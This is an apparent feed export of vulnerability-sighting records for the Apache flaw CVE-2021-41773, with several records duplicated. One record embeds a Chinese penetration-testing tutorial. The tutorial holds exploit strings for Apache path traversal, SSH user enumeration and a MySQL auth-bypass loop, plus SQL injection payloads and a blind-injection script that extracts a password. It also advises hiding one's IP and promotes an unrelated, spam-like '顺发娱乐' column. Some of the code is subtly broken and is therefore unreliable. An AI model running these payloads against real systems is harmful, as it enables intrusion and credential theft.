@poxek | \ud83d\udcf2 MAX |\ud83c\udf1a \u0411\u043b\u043e\u0433 | \ud83d\udcfa YT | \ud83d\udcfa RT | \ud83d\udcfa VK", "creation_timestamp": "2026-05-31T09:03:34.000000Z"} https://vulnerability.circl.lu/sighting/bdafc7d3-4591-46fc-bf0e-fd1bfccdf74d/export Sun, 31 May 2026 09:03:34 +0000 https://vulnerability.circl.lu/sighting/243c24d9-2bc7-488f-bfde-7e6e41208c67/export {"uuid": "243c24d9-2bc7-488f-bfde-7e6e41208c67", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/97c85e27-5a91-4a60-9a66-9707e2ddb39d", "content": "", "creation_timestamp": "2026-06-19T12:47:54.687397Z"} {"uuid": "243c24d9-2bc7-488f-bfde-7e6e41208c67", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/97c85e27-5a91-4a60-9a66-9707e2ddb39d", "content": "", "creation_timestamp": "2026-06-19T12:47:54.687397Z"} https://vulnerability.circl.lu/sighting/243c24d9-2bc7-488f-bfde-7e6e41208c67/export Fri, 19 Jun 2026 12:47:54 +0000 https://vulnerability.circl.lu/sighting/a25103cc-88ce-43e9-ac72-d84eee261225/export {"uuid": "a25103cc-88ce-43e9-ac72-d84eee261225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/bluetrollplei/75a1dd5bcdba2fc3ded4e332998e8d17", "content": "# \u6e17\u900f\u6d4b\u8bd5\u5b66\u4e60\u8def\u7ebf\uff1a\u4ece\u7f51\u7edc\u63a2\u6d4b\u5230\u5185\u7f51\u6a2a\u5411\n\n**\u73af\u5883\u524d\u63d0**\uff1a\u672c\u6587\u57fa\u4e8e Kali Linux 2023.4 \u548c Python 3.11 \u73af\u5883\u7f16\u5199\uff0c\u6240\u6709\u5de5\u5177\u5747\u6765\u81ea\u5b98\u65b9\u4ed3\u5e93\u6216\u53ef\u4fe1\u6e90\u3002\u5efa\u8bae\u8bfb\u8005\u5728\u5c01\u95ed\u9776\u573a\uff08\u5982 VulnHub \u6216 HackTheBox\uff09\u4e2d\u5b9e\u8df5\uff0c\u5207\u52ff\u5728\u672a\u7ecf\u6388\u6743\u7684\u4e3b\u673a\u4e0a\u64cd\u4f5c\u3002\n\n---\n\n### 1. \u7b2c\u4e00\u9636\u6bb5\uff1a\u4fe1\u606f\u6536\u96c6\u4e0e\u7aef\u53e3\u626b\u63cf\n\n\u6e17\u900f\u6d4b\u8bd5\u7684\u7b2c\u4e00\u6b65\u662f\u6478\u6e05\u76ee\u6807\u7f51\u7edc\u62d3\u6251\u4e0e\u5f00\u653e\u670d\u52a1\u3002\u63a8\u8350\u6309\u4ee5\u4e0b\u987a\u5e8f\u9010\u6b65\u63a8\u8fdb\uff1a\n\n- \u4f7f\u7528 `nmap` \u8fdb\u884c\u5b58\u6d3b\u4e3b\u673a\u53d1\u73b0\uff1a`nmap -sn 192.168.1.0/24`\n- \u5bf9\u5b58\u6d3b\u4e3b\u673a\u6267\u884c\u7aef\u53e3\u626b\u63cf\uff1a`nmap -sS -sV -O `\n- \u5c06\u7ed3\u679c\u8f93\u51fa\u4e3a XML\uff0c\u518d\u7528 `xsltproc` \u8f6c\u4e3a\u62a5\u544a\n\n> **\u63d0\u793a**\uff1a\u9ad8\u5e76\u53d1\u626b\u63cf\u5bb9\u6613\u89e6\u53d1 IDS/IPS\uff0c\u751f\u4ea7\u73af\u5883\u4e2d\u8bf7\u4f7f\u7528 `-T2` \u964d\u901f\uff0c\u6216\u501f\u52a9\u4ee3\u7406\u94fe\u9690\u85cf\u771f\u5b9e IP\u3002\n\n\u626b\u63cf\u7ed3\u679c\u4e2d\u5e38\u89c1\u7684\u662f SSH\u3001HTTP\u3001MySQL \u7b49\u670d\u52a1\u3002\u6bcf\u4e2a\u7aef\u53e3\u90fd\u53ef\u80fd\u662f\u4e00\u4e2a\u7a81\u7834\u53e3\uff0c\u4f46\u4e0d\u8981\u6025\u4e8e\u66b4\u529b\u7834\u89e3\u2014\u2014\u5148\u5c1d\u8bd5\u670d\u52a1\u9ed8\u8ba4\u51ed\u8bc1\u4e0e\u5e38\u89c1\u6f0f\u6d1e\u3002\n\n---\n\n### 2. \u7b2c\u4e8c\u9636\u6bb5\uff1a\u6838\u5fc3\u6982\u5ff5\u2014\u2014\u6f0f\u6d1e\u5206\u7c7b\u4e0e\u5229\u7528\u94fe\n\n\u7406\u89e3\u6f0f\u6d1e\u7684\u6839\u6e90\u6bd4\u8bb0\u4f4f\u5de5\u5177\u53c2\u6570\u66f4\u91cd\u8981\u3002\u5173\u952e\u6982\u5ff5\u5305\u62ec\uff1a\n\n- **\u6ce8\u5165\u7c7b**\uff08SQLi\u3001\u547d\u4ee4\u6ce8\u5165\uff09\uff1a\u901a\u5e38\u7531\u672a\u8fc7\u6ee4\u7528\u6237\u8f93\u5165\u5bfc\u81f4\n- **\u914d\u7f6e\u7f3a\u9677**\uff08\u5f31\u53e3\u4ee4\u3001\u9ed8\u8ba4\u8def\u5f84\uff09\uff1a\u5229\u7528\u6807\u51c6\u5b57\u5178\u5373\u53ef\u7a81\u7834\n- **\u6743\u9650\u63d0\u5347**\uff08\u5185\u6838\u6f0f\u6d1e\u3001SUID \u6587\u4ef6\uff09\uff1a\u9700\u8981\u672c\u5730\u4f4e\u6743\u9650\u540e\u6267\u884c\n\n\u4ee5\u4e0b\u662f\u4e00\u4e2a\u6e17\u900f\u6d4b\u8bd5\u4e2d\u7684\u5178\u578b\u914d\u7f6e\u6587\u4ef6\u793a\u4f8b\uff0c\u7528\u4e8e\u81ea\u52a8\u626b\u63cf\u540e\u63d0\u53d6\u670d\u52a1\u6307\u7eb9\u5e76\u751f\u6210\u5f85\u5229\u7528\u5217\u8868\uff1a\n\n```python\n# config_loader.py \u2014 \u670d\u52a1\u6307\u7eb9\u914d\u7f6e\u6a21\u677f\nservices = {\n \"Apache 2.4.49\": {\n \"cve\": \"CVE-2021-41773\",\n \"type\": \"path_traversal\",\n \"exploit_path\": \"/cgi-bin/.%2e/%2e%2e/usr/bin/id\"\n },\n \"OpenSSH 7.2p2\": {\n \"cve\": \"CVE-2016-6210\",\n \"type\": \"user_enumeration\",\n \"payload\": \"ssh -o PreferredAuthentications=none \"\n },\n \"MySQL 5.5.x\": {\n \"cve\": \"CVE-2012-2122\",\n \"type\": \"auth_bypass\",\n \"payload\": \"for i in {1..1000}; do mysql -u root -h --password=bad; done\"\n }\n}\n\ndef load_config():\n # \u8bfb\u53d6\u5916\u90e8\u914d\u7f6e\u6587\u4ef6\u6216\u76f4\u63a5\u4f7f\u7528\u786c\u7f16\u7801\u5b57\u5178\n return services\n```\n\n\u6b64\u914d\u7f6e\u53ef\u5728\u81ea\u52a8\u5316\u811a\u672c\u4e2d\u5feb\u901f\u5339\u914d\u626b\u63cf\u7ed3\u679c\uff0c\u4ece\u800c\u7f29\u77ed\u4eba\u5de5\u67e5 CVE \u7684\u65f6\u95f4\u3002\n\n---\n\n### 3. \u7b2c\u4e09\u9636\u6bb5\uff1a\u5b9e\u6218\u2014\u2014\u5229\u7528 SQL \u6ce8\u5165\u83b7\u53d6\u6570\u636e\n\n\u638c\u63e1\u4e86\u626b\u63cf\u4e0e\u914d\u7f6e\u540e\uff0c\u6211\u4eec\u8fdb\u5165\u6700\u5173\u952e\u7684\u5229\u7528\u73af\u8282\u3002\u4ee5\u5e03\u5c14\u578b SQL \u6ce8\u5165\u4e3a\u4f8b\uff0c\u9700\u8981\u6784\u9020 payload \u5e76\u9010\u5b57\u7b26\u731c\u6d4b\u6570\u636e\u5e93\u5185\u5bb9\u3002\u5229\u7528\u94fe\u5982\u4e0b\uff1a\n\n1. \u68c0\u6d4b\u6ce8\u5165\u70b9\uff1a`' OR 1=1--`\n2. \u786e\u5b9a\u5b57\u6bb5\u6570\uff1a`' ORDER BY 3--`\n3. \u679a\u4e3e\u6570\u636e\u5e93\u540d\uff1a`' UNION SELECT database(),2,3--`\n\n\u4ee5\u4e0b\u662f\u4e00\u6bb5 Bash \u811a\u672c\uff0c\u5b9a\u4e49\u5e76\u5c01\u88c5\u6ce8\u5165\u8fc7\u7a0b\u4e2d\u9700\u8981\u4f20\u9012\u7684\u6570\u636e\u7ed3\u6784\uff08\u5373\u8bf7\u6c42\u6a21\u677f\u4e0e\u54cd\u5e94\u5224\u65ad\u903b\u8f91\uff09\uff1a\n\n```bash\n#!/bin/bash\n# sql_enum.sh \u2014 \u7b80\u6613\u5e03\u5c14\u76f2\u6ce8\u8bf7\u6c42\u6a21\u677f\nTARGET=\"http://example.com/vuln.php\"\nPARAM=\"id=1' AND SUBSTR((SELECT password FROM users LIMIT 0,1),$POS,1)='$CHAR'-- \"\n\n# \u5b9a\u4e49\u54cd\u5e94\u7801\u68c0\u67e5\u51fd\u6570\ncheck_response() {\n local response=$(curl -s -o /dev/null -w \"%{http_code}\" \"$TARGET?$PARAM\")\n if [[ \"$response\" == \"200\" ]]; then\n return 0 # \u5b57\u7b26\u5339\u914d\n else\n return 1\n fi\n}\n\n# \u9010\u5b57\u7b26\u904d\u5386\u5bc6\u7801\nPASSWORD=\"\"\nfor POS in {1..32}; do\n for CHAR in {a..z} {0..9}; do\n if check_response \"$POS\" \"$CHAR\"; then\n PASSWORD+=\"$CHAR\"\n break\n fi\n done\ndone\necho \"Found password: $PASSWORD\"\n```\n\n\u8be5\u811a\u672c\u904d\u5386 32 \u4f4d\u5bc6\u7801\uff0c\u6bcf\u6b21\u8bf7\u6c42\u4ec5\u6539\u53d8\u4e00\u4e2a\u5b57\u7b26\uff0c\u76f4\u5230\u627e\u5230\u5339\u914d\u3002\u5b9e\u9645\u6e17\u900f\u4e2d\u53ef\u7ed3\u5408\u591a\u7ebf\u7a0b\u52a0\u901f\uff0c\u540c\u65f6\u914d\u5408 `--data` \u53c2\u6570\u5904\u7406 POST \u8bf7\u6c42\u3002\n\n---\n\n\u5173\u4e8e\u81ea\u52a8\u5316\u6f0f\u6d1e\u5229\u7528\u6846\u67b6\u7684\u66f4\u591a\u5b9e\u73b0\u7ec6\u8282\uff0c\u53ef\u53c2\u8003 \u987a\u53d1\u5a31\u4e50 \u7684\u6280\u672f\u4e13\u680f\uff0c\u5176\u4e2d\u6574\u7406\u4e86\u4e0d\u540c\u573a\u666f\u4e0b\u7684\u8f7d\u8377\u6784\u9020\u65b9\u6cd5\u3002\n\n\u5b8c\u6210\u4ee5\u4e0a\u4e09\u4e2a\u9636\u6bb5\u7684\u8bad\u7ec3\u540e\uff0c\u4f60\u5e94\u5f53\u80fd\u591f\u72ec\u7acb\u5b8c\u6210\u4ece\u7f51\u7edc\u63a2\u6d4b\u5230 Web \u6f0f\u6d1e\u5229\u7528\u7684\u521d\u7ea7\u6e17\u900f\u6d4b\u8bd5\u3002\u540e\u7eed\u8fdb\u9636\u65b9\u5411\u5305\u62ec\u5185\u7f51\u96a7\u9053\u642d\u5efa\u3001\u57df\u73af\u5883\u63d0\u6743\u3001\u514d\u6740\u5bf9\u6297\u7b49\u2014\u2014\u6bcf\u6761\u8def\u7ebf\u90fd\u503c\u5f97\u6df1\u5165\u94bb\u7814\u3002\n", "creation_timestamp": "2026-06-22T10:00:53.000000Z"} {"uuid": "a25103cc-88ce-43e9-ac72-d84eee261225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/bluetrollplei/75a1dd5bcdba2fc3ded4e332998e8d17", "content": "# \u6e17\u900f\u6d4b\u8bd5\u5b66\u4e60\u8def\u7ebf\uff1a\u4ece\u7f51\u7edc\u63a2\u6d4b\u5230\u5185\u7f51\u6a2a\u5411\n\n**\u73af\u5883\u524d\u63d0**\uff1a\u672c\u6587\u57fa\u4e8e Kali Linux 2023.4 \u548c Python 3.11 \u73af\u5883\u7f16\u5199\uff0c\u6240\u6709\u5de5\u5177\u5747\u6765\u81ea\u5b98\u65b9\u4ed3\u5e93\u6216\u53ef\u4fe1\u6e90\u3002\u5efa\u8bae\u8bfb\u8005\u5728\u5c01\u95ed\u9776\u573a\uff08\u5982 VulnHub \u6216 HackTheBox\uff09\u4e2d\u5b9e\u8df5\uff0c\u5207\u52ff\u5728\u672a\u7ecf\u6388\u6743\u7684\u4e3b\u673a\u4e0a\u64cd\u4f5c\u3002\n\n---\n\n### 1. \u7b2c\u4e00\u9636\u6bb5\uff1a\u4fe1\u606f\u6536\u96c6\u4e0e\u7aef\u53e3\u626b\u63cf\n\n\u6e17\u900f\u6d4b\u8bd5\u7684\u7b2c\u4e00\u6b65\u662f\u6478\u6e05\u76ee\u6807\u7f51\u7edc\u62d3\u6251\u4e0e\u5f00\u653e\u670d\u52a1\u3002\u63a8\u8350\u6309\u4ee5\u4e0b\u987a\u5e8f\u9010\u6b65\u63a8\u8fdb\uff1a\n\n- \u4f7f\u7528 `nmap` \u8fdb\u884c\u5b58\u6d3b\u4e3b\u673a\u53d1\u73b0\uff1a`nmap -sn 192.168.1.0/24`\n- \u5bf9\u5b58\u6d3b\u4e3b\u673a\u6267\u884c\u7aef\u53e3\u626b\u63cf\uff1a`nmap -sS -sV -O `\n- \u5c06\u7ed3\u679c\u8f93\u51fa\u4e3a XML\uff0c\u518d\u7528 `xsltproc` \u8f6c\u4e3a\u62a5\u544a\n\n> **\u63d0\u793a**\uff1a\u9ad8\u5e76\u53d1\u626b\u63cf\u5bb9\u6613\u89e6\u53d1 IDS/IPS\uff0c\u751f\u4ea7\u73af\u5883\u4e2d\u8bf7\u4f7f\u7528 `-T2` \u964d\u901f\uff0c\u6216\u501f\u52a9\u4ee3\u7406\u94fe\u9690\u85cf\u771f\u5b9e IP\u3002\n\n\u626b\u63cf\u7ed3\u679c\u4e2d\u5e38\u89c1\u7684\u662f SSH\u3001HTTP\u3001MySQL \u7b49\u670d\u52a1\u3002\u6bcf\u4e2a\u7aef\u53e3\u90fd\u53ef\u80fd\u662f\u4e00\u4e2a\u7a81\u7834\u53e3\uff0c\u4f46\u4e0d\u8981\u6025\u4e8e\u66b4\u529b\u7834\u89e3\u2014\u2014\u5148\u5c1d\u8bd5\u670d\u52a1\u9ed8\u8ba4\u51ed\u8bc1\u4e0e\u5e38\u89c1\u6f0f\u6d1e\u3002\n\n---\n\n### 2. \u7b2c\u4e8c\u9636\u6bb5\uff1a\u6838\u5fc3\u6982\u5ff5\u2014\u2014\u6f0f\u6d1e\u5206\u7c7b\u4e0e\u5229\u7528\u94fe\n\n\u7406\u89e3\u6f0f\u6d1e\u7684\u6839\u6e90\u6bd4\u8bb0\u4f4f\u5de5\u5177\u53c2\u6570\u66f4\u91cd\u8981\u3002\u5173\u952e\u6982\u5ff5\u5305\u62ec\uff1a\n\n- **\u6ce8\u5165\u7c7b**\uff08SQLi\u3001\u547d\u4ee4\u6ce8\u5165\uff09\uff1a\u901a\u5e38\u7531\u672a\u8fc7\u6ee4\u7528\u6237\u8f93\u5165\u5bfc\u81f4\n- **\u914d\u7f6e\u7f3a\u9677**\uff08\u5f31\u53e3\u4ee4\u3001\u9ed8\u8ba4\u8def\u5f84\uff09\uff1a\u5229\u7528\u6807\u51c6\u5b57\u5178\u5373\u53ef\u7a81\u7834\n- **\u6743\u9650\u63d0\u5347**\uff08\u5185\u6838\u6f0f\u6d1e\u3001SUID \u6587\u4ef6\uff09\uff1a\u9700\u8981\u672c\u5730\u4f4e\u6743\u9650\u540e\u6267\u884c\n\n\u4ee5\u4e0b\u662f\u4e00\u4e2a\u6e17\u900f\u6d4b\u8bd5\u4e2d\u7684\u5178\u578b\u914d\u7f6e\u6587\u4ef6\u793a\u4f8b\uff0c\u7528\u4e8e\u81ea\u52a8\u626b\u63cf\u540e\u63d0\u53d6\u670d\u52a1\u6307\u7eb9\u5e76\u751f\u6210\u5f85\u5229\u7528\u5217\u8868\uff1a\n\n```python\n# config_loader.py \u2014 \u670d\u52a1\u6307\u7eb9\u914d\u7f6e\u6a21\u677f\nservices = {\n \"Apache 2.4.49\": {\n \"cve\": \"CVE-2021-41773\",\n \"type\": \"path_traversal\",\n \"exploit_path\": \"/cgi-bin/.%2e/%2e%2e/usr/bin/id\"\n },\n \"OpenSSH 7.2p2\": {\n \"cve\": \"CVE-2016-6210\",\n \"type\": \"user_enumeration\",\n \"payload\": \"ssh -o PreferredAuthentications=none \"\n },\n \"MySQL 5.5.x\": {\n \"cve\": \"CVE-2012-2122\",\n \"type\": \"auth_bypass\",\n \"payload\": \"for i in {1..1000}; do mysql -u root -h --password=bad; done\"\n }\n}\n\ndef load_config():\n # \u8bfb\u53d6\u5916\u90e8\u914d\u7f6e\u6587\u4ef6\u6216\u76f4\u63a5\u4f7f\u7528\u786c\u7f16\u7801\u5b57\u5178\n return services\n```\n\n\u6b64\u914d\u7f6e\u53ef\u5728\u81ea\u52a8\u5316\u811a\u672c\u4e2d\u5feb\u901f\u5339\u914d\u626b\u63cf\u7ed3\u679c\uff0c\u4ece\u800c\u7f29\u77ed\u4eba\u5de5\u67e5 CVE \u7684\u65f6\u95f4\u3002\n\n---\n\n### 3. \u7b2c\u4e09\u9636\u6bb5\uff1a\u5b9e\u6218\u2014\u2014\u5229\u7528 SQL \u6ce8\u5165\u83b7\u53d6\u6570\u636e\n\n\u638c\u63e1\u4e86\u626b\u63cf\u4e0e\u914d\u7f6e\u540e\uff0c\u6211\u4eec\u8fdb\u5165\u6700\u5173\u952e\u7684\u5229\u7528\u73af\u8282\u3002\u4ee5\u5e03\u5c14\u578b SQL \u6ce8\u5165\u4e3a\u4f8b\uff0c\u9700\u8981\u6784\u9020 payload \u5e76\u9010\u5b57\u7b26\u731c\u6d4b\u6570\u636e\u5e93\u5185\u5bb9\u3002\u5229\u7528\u94fe\u5982\u4e0b\uff1a\n\n1. \u68c0\u6d4b\u6ce8\u5165\u70b9\uff1a`' OR 1=1--`\n2. \u786e\u5b9a\u5b57\u6bb5\u6570\uff1a`' ORDER BY 3--`\n3. \u679a\u4e3e\u6570\u636e\u5e93\u540d\uff1a`' UNION SELECT database(),2,3--`\n\n\u4ee5\u4e0b\u662f\u4e00\u6bb5 Bash \u811a\u672c\uff0c\u5b9a\u4e49\u5e76\u5c01\u88c5\u6ce8\u5165\u8fc7\u7a0b\u4e2d\u9700\u8981\u4f20\u9012\u7684\u6570\u636e\u7ed3\u6784\uff08\u5373\u8bf7\u6c42\u6a21\u677f\u4e0e\u54cd\u5e94\u5224\u65ad\u903b\u8f91\uff09\uff1a\n\n```bash\n#!/bin/bash\n# sql_enum.sh \u2014 \u7b80\u6613\u5e03\u5c14\u76f2\u6ce8\u8bf7\u6c42\u6a21\u677f\nTARGET=\"http://example.com/vuln.php\"\nPARAM=\"id=1' AND SUBSTR((SELECT password FROM users LIMIT 0,1),$POS,1)='$CHAR'-- \"\n\n# \u5b9a\u4e49\u54cd\u5e94\u7801\u68c0\u67e5\u51fd\u6570\ncheck_response() {\n local response=$(curl -s -o /dev/null -w \"%{http_code}\" \"$TARGET?$PARAM\")\n if [[ \"$response\" == \"200\" ]]; then\n return 0 # \u5b57\u7b26\u5339\u914d\n else\n return 1\n fi\n}\n\n# \u9010\u5b57\u7b26\u904d\u5386\u5bc6\u7801\nPASSWORD=\"\"\nfor POS in {1..32}; do\n for CHAR in {a..z} {0..9}; do\n if check_response \"$POS\" \"$CHAR\"; then\n PASSWORD+=\"$CHAR\"\n break\n fi\n done\ndone\necho \"Found password: $PASSWORD\"\n```\n\n\u8be5\u811a\u672c\u904d\u5386 32 \u4f4d\u5bc6\u7801\uff0c\u6bcf\u6b21\u8bf7\u6c42\u4ec5\u6539\u53d8\u4e00\u4e2a\u5b57\u7b26\uff0c\u76f4\u5230\u627e\u5230\u5339\u914d\u3002\u5b9e\u9645\u6e17\u900f\u4e2d\u53ef\u7ed3\u5408\u591a\u7ebf\u7a0b\u52a0\u901f\uff0c\u540c\u65f6\u914d\u5408 `--data` \u53c2\u6570\u5904\u7406 POST \u8bf7\u6c42\u3002\n\n---\n\n\u5173\u4e8e\u81ea\u52a8\u5316\u6f0f\u6d1e\u5229\u7528\u6846\u67b6\u7684\u66f4\u591a\u5b9e\u73b0\u7ec6\u8282\uff0c\u53ef\u53c2\u8003 \u987a\u53d1\u5a31\u4e50 \u7684\u6280\u672f\u4e13\u680f\uff0c\u5176\u4e2d\u6574\u7406\u4e86\u4e0d\u540c\u573a\u666f\u4e0b\u7684\u8f7d\u8377\u6784\u9020\u65b9\u6cd5\u3002\n\n\u5b8c\u6210\u4ee5\u4e0a\u4e09\u4e2a\u9636\u6bb5\u7684\u8bad\u7ec3\u540e\uff0c\u4f60\u5e94\u5f53\u80fd\u591f\u72ec\u7acb\u5b8c\u6210\u4ece\u7f51\u7edc\u63a2\u6d4b\u5230 Web \u6f0f\u6d1e\u5229\u7528\u7684\u521d\u7ea7\u6e17\u900f\u6d4b\u8bd5\u3002\u540e\u7eed\u8fdb\u9636\u65b9\u5411\u5305\u62ec\u5185\u7f51\u96a7\u9053\u642d\u5efa\u3001\u57df\u73af\u5883\u63d0\u6743\u3001\u514d\u6740\u5bf9\u6297\u7b49\u2014\u2014\u6bcf\u6761\u8def\u7ebf\u90fd\u503c\u5f97\u6df1\u5165\u94bb\u7814\u3002\n", "creation_timestamp": "2026-06-22T10:00:53.000000Z"} https://vulnerability.circl.lu/sighting/a25103cc-88ce-43e9-ac72-d84eee261225/export Mon, 22 Jun 2026 10:00:53 +0000 https://vulnerability.circl.lu/sighting/5cf17235-5870-4b43-b24a-ba76b0738a90/export {"uuid": "5cf17235-5870-4b43-b24a-ba76b0738a90", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/25369a1f-b2dd-465d-8122-1d445773eaca", "content": "", "creation_timestamp": "2026-06-23T14:04:48.994679Z"} {"uuid": "5cf17235-5870-4b43-b24a-ba76b0738a90", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/25369a1f-b2dd-465d-8122-1d445773eaca", "content": "", "creation_timestamp": "2026-06-23T14:04:48.994679Z"} https://vulnerability.circl.lu/sighting/5cf17235-5870-4b43-b24a-ba76b0738a90/export Tue, 23 Jun 2026 14:04:48 +0000